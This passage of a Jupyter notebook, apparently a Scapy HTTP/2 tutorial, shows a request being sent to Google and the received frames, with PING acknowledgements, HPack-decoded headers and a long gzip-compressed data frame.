- " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n",
- " | | magic = 0\n",
- " | | never_index= Never Index\n",
- " | | index = 32\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 171\n",
- " | | | data = \"HPackZString(['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly'])\"\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 135
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's now send our query to Google and read the answer!"
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "srv_global_window -= len(str(hdrs_frm))\n",
- "assert(srv_global_window >= 0)\n",
- "ss.send(hdrs_frm)\n",
- "\n",
- "h2seq = h2.H2Seq()\n",
- "\n",
- "new_frame = None\n",
- "while isinstance(new_frame, type(None)) or 'ES' not in new_frame.flags:\n",
- " # As previously, if we receive a ping, we ackownledge it.\n",
- " if not isinstance(new_frame, type(None)) and new_frame.stream_id == 0:\n",
- " if new_frame.type == h2.H2PingFrame.type_id:\n",
- " new_frame.flags.add('A')\n",
- " srv_global_window -= len(str(new_frame))\n",
- " assert(srv_global_window >= 0)\n",
- " ss.send(new_frame)\n",
- " \n",
- " assert new_frame.type != h2.H2ResetFrame.type_id \\\n",
- " and new_frame.type != h2.H2GoAwayFrame.type_id, \\\n",
- " \"Error received; something is not right!\"\n",
- " \n",
- " try:\n",
- " new_frame = ss.recv()\n",
- " new_frame.show()\n",
- " if new_frame.stream_id == 5:\n",
- " h2seq.frames.append(new_frame)\n",
- " except:\n",
- " import time\n",
- " time.sleep(1)\n",
- " new_frame = None"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x8\n",
- " type = PingFrm\n",
- " flags = set([])\n",
- " reserved = 0L\n",
- " stream_id = 0L\n",
- "###[ HTTP/2 Ping Frame ]### \n",
- " opaque = 2\n",
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x8\n",
- " type = PingFrm\n",
- " flags = set(['ACK (A)'])\n",
- " reserved = 0L\n",
- " stream_id = 0L\n",
- "###[ HTTP/2 Ping Frame ]### \n",
- " opaque = 2\n",
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x8\n",
- " type = PingFrm\n",
- " flags = set(['ACK (A)'])\n",
- " reserved = 0L\n",
- " stream_id = 0L\n",
- "###[ HTTP/2 Ping Frame ]### \n",
- " opaque = 2\n",
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x8\n",
- " type = PingFrm\n",
- " flags = set(['ACK (A)'])\n",
- " reserved = 0L\n",
- " stream_id = 0L\n",
- "###[ HTTP/2 Ping Frame ]### \n",
- " opaque = 2\n",
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x21\n",
- " type = HdrsFrm\n",
- " flags = set(['End Headers (EH)'])\n",
- " reserved = 0L\n",
- " stream_id = 5L\n",
- "###[ HTTP/2 Headers Frame ]### \n",
- " \\hdrs \\\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 8\n",
- " |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | magic = 1\n",
- " | index = 33\n",
- " | \\hdr_value \\\n",
- " | |###[ HPack Header String ]### \n",
- " | | type = Compressed\n",
- " | | len = 22\n",
- " | | data = 'HPackZString(Tue, 13 Dec 2016 17:36:19 GMT)'\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 70\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 69\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 68\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 83\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 66\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 75\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 64\n",
- " |###[ HPack Indexed Header Field ]### \n",
- " | magic = 1\n",
- " | index = 72\n"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\n",
- "###[ HTTP/2 Frame ]### \n",
- " len = 0x1640\n",
- " type = DataFrm\n",
- " flags = set(['Padded (P)'])\n",
- " reserved = 0L\n",
- " stream_id = 5L\n",
- "###[ HTTP/2 Padded Data Frame ]### \n",
- " padlen = 40\n",
- " data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xa4;\\t\\x97\\x9bF\\x93\\x7f\\x053/c\\xe9\\r\\x928t!\\r\\xe3u\\x92\\x89\\xe3\\xc4I\\x9c\\xc4\\xd9/\\xdf\\xfay\\xf5\\x1ah\\x04\\x19\\x042\\xb4\\xe6\\xb0F\\xffw\\xf7_lU7\\xa0\\xe6\\x90\\xaf5\\xcf\\xd3\\xa2\\xbb\\xba\\xba\\xeb\\xaej\\xe0\\xf2\\x89\\x9fz\\xecaK\\x95\\x90m\\xe2\\xabK\\xfc\\xabD\\x8cnr/\\xddRGU\\xf9\\r\\x028j\\xc8\\xd8v1\\x1a\\xe5^H7d\\x98f\\xeb\\xd1\\x9f\\x94d^\\xf8\\x07\\xcdw1\\xcb_\\x935U\\x95\\x98$kG\\r2\\x15pQ\\xe2_]n(#\\x8a\\x97&\\x8c&\\xccQ\\x19\\xbdg#\\\\d\\xa9x!\\xc9r\\xca\\x9c\\xbf\\xde\\xfc0\\x98\\xab\\nb\\x1f\\xd0\\xf7\\xbb\\xe8\\xd6Q\\xbf\\x13\\xe0\\x837\\xb0\\xae\\xdaD1\\x8a6\\xb0R>r3\\x92\\xf8Q\\xb2\\x1e\\xad\\xd3t\\x1d\\xd3\\xf5\\xc8\\xb8/\\x7f\\xaer\\x06c$\\xf3W^\\x1a\\xa7\\xd9\\xca0\\xe7\\xfev\\xb8M\\xd6\\x82\\x9cm\\x96n\\x1d\\x95\\xa3\\x01\\xecq\\x94\\xdc(aF\\x83\\x0e\\xd4\\x00\\xe9\\xef<6\\x8a\\xbc\\xb4\\xc2\\x1d\\xa7\\x80\\x0b:T%\\xa3\\xb1\\xa3\\xe6a\\x9a1o\\xc7\\x14\\xe8J\\x00\\x1d\\x8bXL\\xafr\\x8fl\\x1f\\x94\\x81\\xf2\\x07\\x05n\\x01\\x8f\\xa8\\xf2\\x82O\\xbf\\x1c\\x89\\xf1\\xcb\\x9c=@s\\xb6vI\\xa6\\x9d\\xadw9\\xcd\\xf6\\x01P8\\xc8\\xa3\\x0ftaX\\xdb\\xfb\\xe5\\x96\\xf8\\xb8\\x87\\x01K\\xb7\\x0bc{\\xaf<\\x896[X\\x8a$ly\\xe0\\xf3\\xf6!\\x8d\\xd6![\\x98\\xe6\\xf6\\xfeP\\xe0(\\'\\xb9)c\\xe9f1\\xab\\xcfC\\xee\\x0fH\\x1c\\xad\\x93E\\x86S\\x0f\\xc3\\xb5\\x1bj\\xf0\\xc7\\xdf\\xbbi\\xe6\\xd3\\xacZ,O\\xe3\\xc8W\\xce<\\xdb\\x9f\\x05\\xc6R\\xda\\x19,\\x85\\x93\\xca\\xb5\\xf5\\xe56\\xcd#\\x16\\xa5\\xc9\\x82\\xb80i\\xc7\\xe8\\x12q\\x98c\\xa0\\xe0.\\xf2Y\\xb80t\\xfd\\x9b\\xc3\\x7fl\\xa8\\x1f\\x11\\x85\\xc4\\xf1\\x1e\\xa6\\x1b\\xf2\\xd6\\x97\\x1b\\x92\\xad\\xa3d\\xc0w\\xb4\\x18N\\xe8fyK3\\x16y$.\\xf6\\n\\x08\\x0b\\x8a\\x838%l\\x11\\xd3\\x80\\x1d\\x0e\\x04\\x11i\\xf8w\\xbc\\xe7\\x84\\xf9\\xd4K3\\xc2\\xf7\\xb2K\\x80\\x18\\x10,\\x95\\xa8\\xafM\\xe0z\\xb18\\xd3uO\\x86\\x80\\xa1H\\x91\\xc7}\\x7fN\\xcdY\\x03$\\xa8\\x81\\xd8\\xba.\\x8f+\\x97#!\\xdaB\\xc2CPEy\\xdf%\\xb5\\x05\\xa3\\x97)\\xd0\\n\\xa3w\\x8b0\\xf2}\\x9a\\x1c\\x86\\xab\\x87\\xd0\\x97U\\x81s\\xfc\\x9f\\xbd\\xe0\\xa55\\xa6\\x9b\\x83\\x9b\\xfa\\x0f\\x1a\\xf35?\\xba\\xd5\\x86[\\x8d\\x08\\xe8\\x80l\\xa2\\xf8aA\\xb2\\x88\\xc4ZN\\x92|\\x00\\xfa\\x10\\x05KF\\xb6\\x83\\x10X\\x1b#{\\x07b\\xd3\\x190\\xb3gN&Z\\xf9_\\xefs\\xac{\\xb1\\xb9\\x85~ J\\xb4Y\\x17J\\x01\\xb7M\\xee/e\\xf9\\x95:\\x87\\x03\\x0b\\xec\\xa8+2\\xb0,\\x0f\"\\r\\xff\\xe62a3\\x1c\\xba\\xd3\\x86\\xef\\x17\\xc4c\\xd1-\\xc5_\\xb7\\x11(\\x13\\xf5\\xb5!\\x03\\x05\\xde\\x95,6\\x0c\\x0f\\x85\\x17\\xb7\\xc4\\x9c\\xa4\\t\\x05\\x8e\\xfd\\xb5\\xf1\\x15\\xb2@;\\xae\\xe4zm|\\xf7\\xadu8\\x0b\\xd2\\x94\\x956\\xb1\\xd0\\x959\\x1a\\n\\xf6)d\\x7f\\x17\\xc2J\\x83|K<\\nx\\xee2\\xb2=\\x84\\x96\\xbc\\xbfiI\\xc9\\x9d\\xa05I\\xb3\\r\\x89\\x97%\\x8b\\x96\\x15\\xda\\xc3YFs\\x05&\\xfbQ\\xbe\\x8d\\xc9\\xc3\"JP\\xf5\\x0eC\\x10d\\xc1\\'\\x94t\\xb7\\xa1\\x0c\\xc0<t\\x10\\xeap\\xadq\\xb9\\xa2o\\xd4\\x18qc\\xe0G\\xce\\xfc}\\x8b\\x97\\x85\\x8cJ\\x0b7\\xad\\xa3\\x05!>}\\xf9!\\x85n\\xe3\\x90\\xc6J\\x1ci;\\xfc\\xbb\\x8f\\xa3\\x1c\\x90\\xa0>\\n\\x96\\x85\\x86\\x96\\xc60\\xa6\\xc1X\\x17=\\x1b\\xf7:\\xf1\\x95\\xd0\\xdc\\xb7\\xe9?\\x0ci9\\x05D\\xad\\xe8\\x8a>\\x9c\\x81\\xc9\\x1e\\xceP\\xfa\\t\\xb9\\x05\\xcevJ\\xa9\\x1a\\x07\\xac\\x85\\x90fS\\xbc>\\xc6\\xe3\\xc3\\x19\\xcc(]\\x13\\xcc\\x8a\\xc96\\xa7\\x8b\\xf2G\\xcd\\x94@\\x9bd\\xf7\\xc6]\\x04\\xceV\\x80\\x87R\\xbf\\x07!\\x84f\\x87a\\x92\\xbaY\\x97\\n\\x0cY~r\\xbd\\xc30W`V)e\\xa1|^\\xeeV=n\\x9cz7\\xa5i\\x8cu\\x14\\x97\\x08(+.P\\xdc\\n*\\xc6\\xa0T\\x8a\\x99d<\\x858Q\\xeb\\x1a\\xb3$C\\x94=\\xb3\\xe7U\\x12C\\x17q\\xc6\\\\_;#\\xe0\\xc9\\xeb\\xbb\\xd9\\x00\\x83\\x8eJx\\xe0\\x10rd\\xb1\\x8a\\xb9\\xa8&M\\xfd]\\xbd|\\x03\\xa6\\xb8\\xfa\\xe9\\x8d\\xdfP\\xbay9\\t\\xec\\x94\\xc93\\xc5\\x9a\\x8d@V\\xa3yh6I\\xb6\\x9a.d^\\x8a2\\x02/\\x9e\\xb0\\xc5\\x00\\x97C\\x8f\\x90kC\\xb7\\xa6\\x92n\\x1a\\xfb\\x07\\xbai\\xf5\\x15;(\\x14^\\xa8\\xed&\\xda\\xd0\\xca\\xa1\\x10\\xdd\\'\\xee\\xf2\\xc44\\xdc\\xf8\\xfd \\x87Y0m\\x15\\xdf\\xf9{\\x11\\x9a\\x06f=\\x9a\\xb6\\\\w\\x9ez\\xa7\\xd4\\x1f\\xc7\\xca\\xd5\\xe7:^\\x80\\xfa\\xf9w\\'\\xc1a\\xac\\x05~\\xb3\\xf6\\xcb>:\\x9b\\x19\\x86{8[\\xdd~\\xebv(\\x07\\xd5\\xf1*\\xed\\x833\\x15\\x99X\\x8f\\xb4\\xbc\\xa7R\\xa1\\t\\xcc6Ae\\x95\\t2{\\xb5\\xb1\\\\\\xc9\\xf5X&\\xef\\xa4/*\\x1af\\xb3\\xd9\\xb2\\xe1+%k\\x148~\\xd4\\xfd\\x13\\xe0\\xe3N\\xf0W\\xe1iR\\xea1\\x86\\x9b\\xd6\\xea\\xcdM\\xf4\\xc9\\t\\x8b\\x92\\xae\\xc3\\xd9m\\xfa\\x11V\\xd5\\xf8\\x80\\x7f\\x80\\xb7\\xbf>x\\x12\\x0fx\\xa8\\x93U\\xb9\\x16\\xfb\\n]\\x9e\\x14\\x0bA\\x02\\xbao\\xa8\\xfd\\x18w\\x9c\\x97[\\x18\\x14\\xb9\\x11\\xa0(:\\x84\\xb6\\xf2]-\\x8f\\x1e\\x88\\x0b\\x9b\\xd2\\xa5K\\xbc\\x9bu\\x96B^S\\xf6\\x06Ap\\x0c)\\x90\\x89\\x12\\x8c\\xa1\\xcbFp\\xe0\\xded\\xf5\\x9a\\xba`\\xc6\\xbf\\xf3\\xbf\\x7f\\xe5n-_x\\x8e\\xf9B\\xcd\\x12x\\xa2\\x80>\\x12\\xe75\\x0c\\x7fR\\xe2\\x93\\x18s\\x7f?\\x88\\x01\\x08\\x95\\xf6\\xf7\\xda\\x00\\xa6|\\xbb\\xcdAZ\\x93w\\x97\\x86\\x85\\xcc\\xf8\\x84\\x86\\xa2 *\\xd1p\\xed\\x14\\x7f\\xc6|\\x1b\\xd9o^\\xc9M\\xf4\\xe1<v\\xe1(\\x1f\\xccapC\\xee\\x0b>[s\\xbdt*\\x95\\xd5\\xd28\\x8e\\xb6y\\x94/\\xdba\\xa0i\\xdau\\xf5\\x13\\xdawk\\xbb\\xfbZ7\\xdfl\\x07\\xaeB^\\xd3\\xe9\\x14fma[\\x1d\\xc8\\xb2\\x9b\\xca\\xb2L\\x03/\\xb4\\x87\\xdf\\xdc\\xca\\x05\\xcc\\xf0Bg\\xf4KP\\xa58\\xb6\\x05\\x1d\\xff\\x1c;<\\x9d;\\t\\xe8\\x90\\xe3\\xc2p\\xf5\\xdd\\xcf\\xebc:;v-\\x1b\\x13\\xb2\\xdc]\\x11)12\\xf4\\x9ak+ \\xbc\\xbd \\xccj8>!\\x1d\\xd3\\x9e4\\xaa\\x0b0\\xe5\\xd9\\xbc\\xde\\'\\xd8?\\x99\\x99\\x9d\\xf8\\x15\\x1e\\xe1\\x1aIW\\x1b\\x8ev\\xc7?y\\x9dc\\xf9R\\xda\\x87o\\xe3\\xd5F\\x06>\\xa3\\xb2%n[2\\x08fr\\xcd|1\\x0b\\xf3\\x15\\x8fk\\xb5\\xb89\\xe6\\x81s\\xf5\\xc3\\xef~\\x13>\\xdf\\xb9\\x01\\xc4\\x9c\\x95\\xc7\\xb2\\xb8\\x91\\xc8/\\xe5\\xc8_$9\\xc8D\\x8bgR\"#f$hVq<\\xf1[y\\xe1q)n\\x06\\xba\"\\x06\\xdc\\xee\\x813\\xd8f\\xcev\\x01\\x94+\\xb4\\x89\\x91\\xfb\\x85<\\xbeQ\\xe0\\x8f_\\xd4\\x16\\xe6D/z\\x1bF?\\xb0*\\xe8\\xd5\\x07\\xcbm\\xe2\\x9aT\\x95^\\x81a\\xf5\\xfb\\xeb*a(\\xcb\\x9c\\x06FQ\\xd5\\xac>\\xec*\\xb5\\x9f\\x8c\\xf1\\xc2\\xc0\\xb7\\xf3j\\x8c\\xee\\xf0\\xb2b\\xf2\\xb7\\r\\xc0\\xf62\\x06\\xf7\\x13\\xc4\\xc3L\\xba\\xc3\\x1do\\x02(\\xbd\\xd3 k&\\xfd\\x85`\\x0c\\xbaQ\\xa4\\xac\\x98\\x0bw\\xb8b\\xaf\\xa2&\\x03L\\xee\\x15\\xf3&%\\xb8\\xee\\xea\\xa7k\\xda\\xe8\\'\\xc3 \\x86\\x01\\xef{\\x85h\\xc34\\x8f!\\x05\\xa8g%\\x9d\\tA\\xbd\\xbc) \\xbd]\\x96\\xc3\\xed6\\x8dxR{\\xc6\\x88\\x9f+]\\x90\\xc5\\x90HPj\\xe3ErQ\\x8c\\xf3\\x8c\\xa4k\\xfc\\x93#E\\xe1\\xd6=\\x18\\xa2;\\xad\\x0f\\xb5\\xa8\\xac*\\xf6C\\x0b\\xd9\\xd4\\xf8\\xee0t\\xe3\\xf5\\xa9d\\xc9\\x03`\\r\\xff4\\x8b@}:5\\x8d\\x8e\\\\PP\\x8b3\\xea\\xa0\\x87\\xe1\\xcd\\xad\\xac\\x0c\\\\\\xae7\\xb7yC\\x99\\xb1O\\xc3~\\xd0\\xabx\\xdb\\xcc\\xb7\\xeb\\x1a\\xc8\\xa1Y3L\\xf1\\xca\\xa9q\\x12PV]\\xc7\\x92\\x8c\\xdb\\xf2\\\\\\x14Y\\x87a\\xd0\\xe2\\xed\\xf6\\'W\\x0e\\x06\\xe1x\\x985R\\xf8e#\\xeav\\xd4ZXQ6L\\x03\\xa3\\xe7k\\xb7\\x81j \\xc8k\\x9f\\xcc\\xb4ce3)\\x01|/\\x12\\xaf*4\\x81\\x1c\\x13L\\xcb\\x18ZX\\xf6\\xe2P\\xbdD\\x1d\\xe0i\\xe3\\x02V\\xf7\\x0eh\\x1fr\\n)q\\x8c\\x9b\\xf6)\\xd3\\x05\\xee\\xe4[\\x88\\xef\\x8d\\xe1\\xa2w\\x95B\\x00k\\x15\\xd6\\xc7\\xa1\\xd39\\xfc\\x11\\xc4U\\xa2}K\\xb1:\\xd9\\xcb:\\xb3Z\\x17/\\xac6\\xb1(<V\\xde\\xc3\\xdb\\xc8\\xa7\\xa9\\x9b\\xdew\\x86\\x00t\\xc1\\x9f*\\xaf\\x0bk\\xd3\\xaa\\x0e,\\x9cvU7\\xc7\\x11Z\\xe0{J\\xb3<m\\x88g\\x9bd\\xcf\\x034\\xe4w\\x0f\\xe9\\x8e-\\x82\\xe8\\x9e\\xfa\\xf2\\xa9\\x9eT\\xf4\\x97\\xd9\\x8bi6\\x8f\\x7fJ\\xa0\\x8aL\\x0c\\x9d\\xca\\xb8\\xf8\\xaf\\x8b\\xca\\xae\\x99\\xa1\\xac\\x9e_\\x9f:\\x93\\xa4\\x01^\\xcd\"\\xb3t\\xda\"\\xfe\\xa1\\xe7\\xe7I\\x8dt\\xaa\\x81\\xb5j\\xf3\\xf0\\xa4,d\\xa5\\x18\\x8e\\x97P\\x16\\xc18\\x89\\xb2\\xc3\\x998>\\xc0S\\xe5\\xeal\\xac\\x1e!\\xb8\\xadvF\\xdec\\xb1]\\r\\xe6\\xdb\\x95\\x97\\xb0\\x1a\\xc4T\\xd4\\xe8\\xab\\x84\\x1c\\xabU\\xc1\\x13N\\xb0\\xf0\\t*O\\xda\\xd5Z}\\'\\x9c\\xd5*\\x88+\\xb6\\x1d]P\\xc99\\x9f\\xe2U&!\\x93i\\xfb\\x90\\x99\\'@\\xbb\\x98\\xfd\\xc9\\x08\\xabdb\\xdbv\\x93\\xdbM\\x9b\\xef:I\\xd9\\xe4\\xf1\\xfa\\xea\\xa8\\xddENo4\\x165k\\x99\\x88d\\xe0R\\xdc\\xe79\\x92\\x8e\\x95iQ\\x9d\\xfer\\xebk\\xc3`\\xb3m1w\\xe8\\xc5iNW.K\\xf6\\xcd\\xea\\xfc,\\x88!\\xd6jgn\\xd0\\n\\xb9r\"Yy)\\xc3,+\\x86\\x86\\xad\\xd5R\\xca\\xa4\\x99[\\x9fm\\xf22^,\\x86\\x96\\x859\\x84\\x9cE,K\\xaf\\xca\\r\\x0b\\x0b\\xed\\x7fw;Z\\xe9\\xac\\xb5\\xa3\\xa6h\\xf0\\x94k\\r,\\xacl[\\xc7y\\xc7\\x02\\x1bxrR3\\x84?Z6\\x8eqZ\\xc7\\xbd\\x13\\xbbQ\\x03Ox%\\x0f\\x12\\x13N\\xc1\\x9e\\xd7L\\xae\\xa3>\\xedR\\x94\\xd5_\\x7f\\xbb\\x1a\\xe1\\x8d\\xec\\xec\\xeb\\xd9\\xcd\\xb2\\x9bK\\x1f;\\xf9n\\x06?y\\xcfm\"J\\xb9\\xcb\\xa7\"\\xe2\\xaeK\\t\\xba\\ty\\x196\\xad\\xcf\\x92\\xacO\\x98q\\xdb\\xa8kGP\\xd2\\xd9*w\\'\\x90/\\xae~\\n\\xfdZ\\x0e\\xe5\\xc6P\\xc1|\\xf6\\xb6j\\x07\\xfb\\xb2?\\\\\\xe5\\xf7\\xde\\'\\x95\\xafn\\x91X\\x96\\x86>\\n\\x0b\\x9aZ\\xf5\\xce3\\x9d\\xbc~\\xc09\\xb6\\x9a\\xbc\\x04c\\x00\\x15\\x82\\x14\\xaf<\\xf2\\xe7\\tpuW\\x84\\xaa\\xe2V\\x8ai\\xa2\\xa7ij\\xab\\xbfw\\xbe\\x04\\xce-\\xbb\\x13\\xb4f\\xb2xb+\\x95\\x80\\xbb,\\xee\\x95\\xcf\\xfd`\\xb1U\\x9c\\xaeS\\xd3\\xb4\\xf1ia_I\\xd2AF\\xb7\\x94t\\x1c\\xf6\\x1d=\\xcd\\x17#S\\x06\\x86\\x85\\xcc\\x18\\xcc\\xc7RM(=1\\xc3\\x9f5[<\\x88\\xc7H_\\xb1\\x92\\x8d\\x91p`\\x8e\\'\\xd2JV\\xb5\\xd2t\\xd2\\xbd\\x92\\xc2\\x9f-\\xf1_\\xa0K_C\\xa2\\xfee\\x8b\\xae\\x92o\\x9b\\x19\\xe7\\xd1$y\\xc4\\xd91\\xaeZB\\xae,\\x033\\xdf\\x92\\x8c\\xb6\\x8fa;\\xf3O\\xc0~\\x05$\\xedOb\\x01\\x98\\xdf\\xf4}\\xed\\xdcM^\\xa3}F\\xa7\\xf8$\\x0fi\\xd9\\xb4\\xcf\\x1f\\xd6\\x19\\x85\\xbd\\xd4\\x0e\\xfb\\xaa\\x94\\x07\\xff~\\xbe{\\xe3\\x1eL_V\\x0f\\\\\\xb9\\xb95}\\x98\\xfe\\x11\\x06\\xb5\\xbd0\\x7f\\xf0t\\x14\\x88.\\xa8\\x97L} *\\xe7\\xcd\\xc0\\xcf\\xd2\\xad\\x9f\\xde%\\x83\\rMv\\x8dRG>G\\xc1\\xd3\\xc8v\\x9a\\xeb{x\\xb5\\x9e\\x07\\xf0s\\xaf\\xae0Q=\\x19\\x13q\\x8d\\xecX\\xda\\x15\\xfd>\\xf0\\'\\x03\\xf7\\x0b<\\x00\\xfb\\xf7\\x8d\\xdb|\\xbc\\xd5\\xed\\x9b\\x01\\xb0p\\xa2\\xed\\xb3TJ)\\xfa\\xd9\\xff\\xba\\xa9\\x02\\x90eY\\xa7$$\\x88/w\\x8fO\\xd8\\x8dSQ\\xa2,\\xc9\\x9b\\xa8\\xc1\\xc8\\x02w\\xbd\\xae\\x9dD\\x05\\x06^\\xcb\\xd3!z\\x82W\\xa9\\x063\\x9e\\xac\\xa1\\xed\\xe1{\\x11\\xfb\\x92#F\\xfd\\xa4r\\xdcH\\xb6\\xc6\\xe5\\xa4\\x13\\x8f\\xac\\xec\\xfa\\xb9\\xbc!=\\x9d\\x17N\\xde\\xec\\xc8\\xfd:\\x82\\xbc\\xf0b\\xd6\\xac\\\\\\x8e?\\xc3*\\xc5\\xde\\xfd\\x18t\\xcc\\x03H\\x0c\\x82$2[\\xb8(\\xbb4\\x8b\\x9f\\xee\\xb5\\xcd.\\x8fb\\xd8^u\\xec\\xa8WHK\\xd9\\xb70\\xb96^\\xcb\\xeeZ\\x83\\xe8x\\xc1\\xe0\\xfd \\x0f\\t\\x18\\x02\\xd8gN\\xd1\\xbb\\x19\\xe2\\xa4Y\\xe1\\x8f\\xd2u\\x8d_C\\xa3\\xbf\\x84`\\xee\\xdeDl\\xf0%S6\\xe9\\x87/\\x80\\x17\\x04\\xb12\\xd3\\x10*/\\x979\\x11Q\\xa2d\\xbb\\xabN\\x1d\\xb2\\xa2\\x1e=\\x82\\x15]\\x02x\\xdf\\xea\\x04\\xfc\\xb2\\x0c\\xf8Ly\\xb1\\xea\\xd0D\\x17E\\t?\\xb5m\\xa7_\\xddo\\x0b\\xb42\\x11L\\x91\\xa6\\x05\\xa9\\xa8\\x80\\x1dG\\x0c\\xc7\\x92sy\\x07\\xfb\\x18\\xb8\\x19%7\\x0b\\xfew\\xc0\\x1f&\\xc0\\x8e\\x17A\\xea\\xed\\xf2\\xd2\\xc3\\x17\\x15;r\\xca\\xfd(-\\xe5\\xd6\\xa6\\xb5Te*\\xaaH\\x9e\\xf1\\xf8y\\x9d\\x91\\xb2M\\xce\\xf0\\xea\\xb0\\x80\\x12\\xab\\xdd4 <\\xf8\\xad\\x8cU\\xe7\\xbcv\\xe5\\r\\x0exd]p\\x95@:H6Xg\\xc4\\x8f\\xc0\\x8f\\xf7\\x80\\x13\\xda\\xd9\\xd8\\xb7\\xf5\\x00\\x92\\x9d\\xf1l>\\xa3~\\x7f\\xd915\\xff\\xda\\x99\\xe9\\xd7N,t\\xbe\\x9a&\\xd0hH\\xb2\\x82(\\xf8\\x0f\\xe1\\xd2\\xb4 K7\\xbd\\x02g_ci\\xaf\\xc4\\xfb\\x11\\xc4_\\xb7\\xad\\xcf\\x9b\\xd5r\\x08\\x96>\\xb3\\x8f\\x11\\x1d\\'\\xefr^\\x8d\\xb6\\xe3\\x86@VI{vLq\\xe6\\xc2\\xf1\\xb8\\x1d1\\xe7s%lMf\\x84\\xce\\xbfF\\xc2\\xa7g~B\\xc2\\xa7\\'\\xfe\\xff$\\\\\\xe0\\xfdZ\\twl\\xab\\x8c\\xa5|\\xe4\\x0bE_\\xa1k\\x89\\xde\\x0c&\\xae;\\xe3\\x82\\x93\\x9dF-\\x13<.U\\x99=\\xe4\\xba\\x16\\xafu\\xa4A\\x91\\x06/D3\\xb8?\\xe5?\\x8b\\x1c\\xc3\\xa7\\x01\\xd9\\xc5\\xacp\\xa7\\x93.w\\xdav)\\xe0C?\\xea+9\\x1de=\\xf4EA\\xc6\\xfa\\xf28f\\xf5?;JZ\\xb2$k\\xcc\\xfd\\x8a\\xe4\\xbeFo\\xeeF^\\xbaoc\\xe9L\\xae\\xcb\\xc2d\"W\\xff<\\xe5l\\x9cB\\x15+L:\\xde\\xd6;\\xbe\\xec\\xe7e\\xd1\\x96]\\xf5\\x82]\\xe2\\xe1\\xfez\\xfd\\xfd\\x1dx\\xf9\\xf4n(^\\x1bu\\xf67\\xd7/\\x17Oo>\\xfc\\xf0\\xfb\\xbf~\\x1d\\x84\\xd7\\xde\\xcf\\x0fd\\xfc\\xf3/\\xeb\\xff|\\xfeT\\xbb\\xb9\\xfe\\xfb5\\x8c\\x99\\xfalnj\\xb3\\x89>3\\r\\xcd\\xb0&\\x86\\xad[\\x9a5\\xd3uslic\\xdd\\xb4\\xe7\\xc6\\x04Z\\xcb\\x9c\\xcef\\xd8\\xceu\\xc3\\x84vl\\xccm\\x1b[kl\\xf3\\xfb\\xc9|l`;\\xb7\\xc6\\x087\\x99\\xcc\\xc68ojN\\xa7Sl\\'\\xe0\\xf9\\xb0\\x9d\\xcd\\xa7:\\xb6\\xf3\\xc9\\xa4h\\xc5\\xbd=\\xb7\\xe6\\xa2\\xe5xf\\xe6T7y;\\x9b!\\x9e\\x99\\x058y;3\\xe7\\xbc\\xb5\\'\\xb8>\\xacb\\xcfxkO\\xf8\\xf8T\\xb7Ek[\\x86h\\xf9>g\\xf31\\xc7\\x0f\\xedd\\xca\\xdb\\xd9t\\x8c\\xadm\\xe8\\xfc\\xde\\x1e\\x8f\\xf9z6\\xec\\x98\\xb7\\xf3\\x99\\x18\\x9f\\xdb\\xa2\\xb5\\'\\xd8\\x02\\xf9S\\\\on\\xe8V\\xd9\"\\xfe\\xb9\\xa9s\\xbcs\\xd3\\x98Nxk\\x1a|\\xdc\\x9c\\x1a|\\x1c\\xd8\\xc2\\xc7\\xc7\\xc0Q\\xdeZ\\x9c\\xbfs\\xd87\\xef\\x9f\\xe8\\x13\\x0e?\\x99\\x9a\\xbc\\x9d\\xea\\x86\\xc1[\\xd3\\xd6y;\\x9fr\\xf8\\xd9\\xcc\\xe0\\xf3g6\\x97\\xc7\\x1c\\x11\\x8a\\xd6\\x9a\\x8av\\xcc\\xc7\\xe7S\\x81\\xdf\\xd6u\\xd1\\n:\\xe7\\xb6%\\xf6m[\\xe3\\xe2~,\\xee\\xc7s\\xbe\\x9e=\\xe1|\\x9a\\xdbS[\\x8c\\xcf\\xc6F\\xd1\\xda\\xa2\\x9d 